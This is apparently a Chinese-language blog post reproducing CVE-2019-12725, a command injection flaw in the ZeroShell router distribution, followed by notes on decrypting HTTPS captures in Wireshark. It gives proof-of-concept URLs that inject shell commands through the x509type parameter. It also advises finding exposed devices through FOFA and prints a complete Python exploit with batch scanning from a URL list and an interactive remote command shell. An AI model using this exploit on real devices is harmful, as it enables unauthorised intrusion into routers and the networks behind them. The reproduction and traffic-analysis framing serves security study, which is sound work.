ZeroShell 命令注入漏洞复现及流量分析(CVE-2019-12725)
漏洞详情 Zeroshell 是一个微型的linux发行版本,它功能强大,具有强大的router、radius、web门户、防火墙、virtual、Qos、 DHCP、dns转发等功能,可以用来安装到服务器上为内网提供网络服务,而且安装和使用都很方便,有U盘,Live CD和Flash imgage文件用于安装,可以使用web界面进行设置和管理。想自己部署软路由,又不想编译,找驱动程序,或者别人编译的固件有后门,可以考虑用Zeroshell替代Openwrt/LEDE。
总的来说Zeroshell的特性包括:
负载均衡及多网络连接的失效转移,通过3G调制解调器的UMTS/HSDPA连接
用于提供安全认证和无线网络加密密钥自动管理的RADIUS服务器
用于支持网页登录的强制网络门户(商场和酒店等商用场景)
影响版本
ZeroShell < 3.9.0
验证POC
1 2 /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27 /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A<cmd>%0A%27
复现 fofa搜索,找到网络中该设备
exp
python3 CVE-2019-12725.py -u http://127.0.0.1:1111 单个url测试
python3 CVE-2019-12725.py -c http://127.0.0.1:1111 cmdshell模式
python3 CVE-2019-12725.py -f url.txt 批量检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 import requestsimport reimport sysimport urllib3from argparse import ArgumentParserimport threadpoolfrom urllib import parsefrom time import timeimport randomurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) filename = sys.argv[1 ] url_list=[] def get_ua (): first_num = random.randint(55 , 62 ) third_num = random.randint(0 , 3200 ) fourth_num = random.randint(0 , 140 ) os_type = [ '(Windows NT 6.1; WOW64)' , '(Windows NT 10.0; WOW64)' , '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}' .format (first_num, third_num, fourth_num) ua = ' ' .join(['Mozilla/5.0' , random.choice(os_type), 'AppleWebKit/537.36' , '(KHTML, like Gecko)' , chrome_version, 'Safari/537.36' ] ) return ua def check_vuln (url ): url = parse.urlparse(url) url2=url.scheme + '://' + url.netloc headers = { 'User-Agent' : get_ua(), } try : res2 = requests.get(url2 + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27' ,headers=headers,timeout=10 ,verify=False ) if res2.status_code==200 and "uid" in res2.text: print ("\033[32m[+]%s is vuln\033[0m" %url2) return 1 else : print ("\033[31m[-]%s is not vuln\033[0m" %url1) except Exception as e: print ("\033[31m[-]%s is timeout\033[0m" %url2) def cmdshell (url ): if check_vuln(url)==1 : url = parse.urlparse(url) url1 = url.scheme + '://' + url.netloc + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A' while 1 : shell = input ("\033[35mcmd: \033[0m" ) if shell =="exit" : sys.exit(0 ) else : headers = { 'User-Agent' : get_ua(), } try : res = requests.get(url1 + shell + '%0A%27' ,headers=headers,timeout=10 ,verify=False ) if res.status_code==200 and len (res.text) != 0 : vulntext=res.text.split('<html>' ) print ("\033[32m%s\033[0m" %vulntext[0 ]) else : print ("\033[31m[-]%s Command execution failed !\033[0m" %url1) except Exception as e: print ("\033[31m[-]%s is timeout!\033[0m" %url1) def multithreading (url_list, pools=5 ): works = [] for i in url_list: works.append(i) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(check_vuln, works) [pool.putRequest(req) for req in reqs] pool.wait() if __name__ == '__main__' : show = r''' _____ _ _ _____ _____ _____ __ _____ __ _____ ___________ _____ / __ \ | | | ___| / __ \| _ |/ | | _ | / | / __ \|___ / __ \| ___| | / \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | `' / /' / /`' / /'|___ \ | | | | | | __|______| / / | /| | | | \____ |______|| | / / / / / / \ \ | \__/\ \_/ / |___ ./ /___\ |_/ /_| |_.___/ / _| |_./ /___./ / ./ /___/\__/ / \____/\___/\____/ \_____/ \___/ \___/\____/ \___/\_____/\_/ \_____/\____/ CVE-2019-12725 By m2 ''' print (show + '\n' ) arg=ArgumentParser(description='CVE-2019-12725 By m2' ) arg.add_argument("-u" , "--url" , help ="Target URL; Example:http://ip:port" ) arg.add_argument("-f" , "--file" , help ="Target URL; Example:url.txt" ) arg.add_argument("-c" , "--cmd" , help ="Target URL; Example:http://ip:port" ) args=arg.parse_args() url=args.url filename=args.file cmd=args.cmd print ('[*]任务开始...' ) if url != None and cmd == None and filename == None : check_vuln(url) elif url == None and cmd == None and filename != None : start=time() for i in open (filename): i=i.replace('\n' ,'' ) check_vuln(i) end=time() print ('任务完成,用时%d' %(end-start)) elif url == None and cmd != None and filename == None : cmdshell(cmd)
流量分析 由于是https协议,wireshark抓包后都是加密流量,需要对流量进行解密。
原理 SSL/TLS的整个握手过程:
Clienthello:发送客户端的功能和首选项给服务器,在连接建立后,当希望重协商、或者响应服务器的重协商请求时会发送。
version:客户端支持的最佳协议版本
Random:共32字节,28字节随机数,4字节额外信息,受客户端时钟影响(为了避免浏览器指纹采集,现在一般会对4字节时钟做扭曲)
Session ID:32字节随机数,用于和服务器重建会话,为空表示新建会话
cipher suit:客户端支持的所有密码套件,按优先级排列
Compression:客户端支持的压缩算法,默认无压缩
Extensions:由任意数量的扩展组成,携带额外数据
ServerHello:
选择客户端提供的参数反馈客户端
服务器无需支持客户端支持的最佳版本,如果服务器不支持客户端版本,可以提供其他版本以期待客户端可以接受
Certificate:
用于携带服务器X.509证书链
主证书必须第一个发送,中间证书按照正确的顺序跟在主证书之后
服务器必须保证发送的证书和选择的算法套件一致
Certificate消息时可选的
ServerKeyExchange: 携带密钥交换的额外数据,取决于加密套件
ServerHelloDone:服务器已将所有预计的握手消息发送完毕
ClientkeyExchange:携带客户端为密钥交换提供的信息
ChangeCipherSpec:发送端已取得用以连接参数的足够的信息
Finish:握手完成,消息内容加密,双方可以交换验证,整个握手完整性所需的数据
算法:verrify_data = PRF(master_secret , finished_label,hash(handshake_message))
破解方式
要解密HTTPS流量,需要得到加密密钥,加密密钥由主密钥、客户端随机数、服务器随机数生成。由上述握手过程可知,客户端随机数和服务器随机数在双方握手消息中传递,而主密钥(master_secret)则由预主密钥(pre_master_secret)结合两个随机数生成。预主密钥通过密码套件中的密钥交换算法进行交换(DH、RSA)。
因此,通过Wireshark解密HTTPS,可以从两个地方下手:
密钥交换算法选择RSA,然后提取服务器的私钥,将私钥导入Wireshark,通过Wireshark解密密钥交换过程中传递的预主密钥,再结合之前的客户端和服务器随机数生成主密钥,进一步生成加密密钥,即可解密后续抓取到的加密报文。
直接从客户端提取预主密钥,结合客户端和服务器随机数生成加密密钥,实现对加密报文的解密。
方法一
方法二
1 2 3 4 5 6 7 mkdir ~/tls && touch ~/tls/sslkeylog.log #zsh echo "\nexport SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.zshrc && source ~/.zshrc #bash echo "\nexport SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.bash_profile && . ~/.bash_profile
让Wireshark读取密钥文件
在 Wireshark
的 SSL
配置面板的 「(Pre)-Master-Secret log filename」选项中这个文件选上(编辑->=首选项->协议)。如下图
注意,这是老版本的wireshark,如果发现没有SSL选项,则选择TLS,新版本的是TLS;但是配置是一样的;
「SSL debug file
」也建议配上,这样解密过程中的日志都会记录下来,便于调试。
新版 Wireshark
在配置了 TLS
加密后,会自动识别并解析 HTTPS
流量。访问想要抓包的 HTTPS
网站,根据 IP
和协议过滤一下,就可以轻松看到想要的 HTTPS
数据包了。
配置好密钥之后,重新抓取。
解密成功 follow http
参考文章 https://github.com/MzzdToT/CVE-2019-12725
https://www.csdn.net/tags/MtTaMg1sMzE3MzU3LWJsb2cO0O0O.html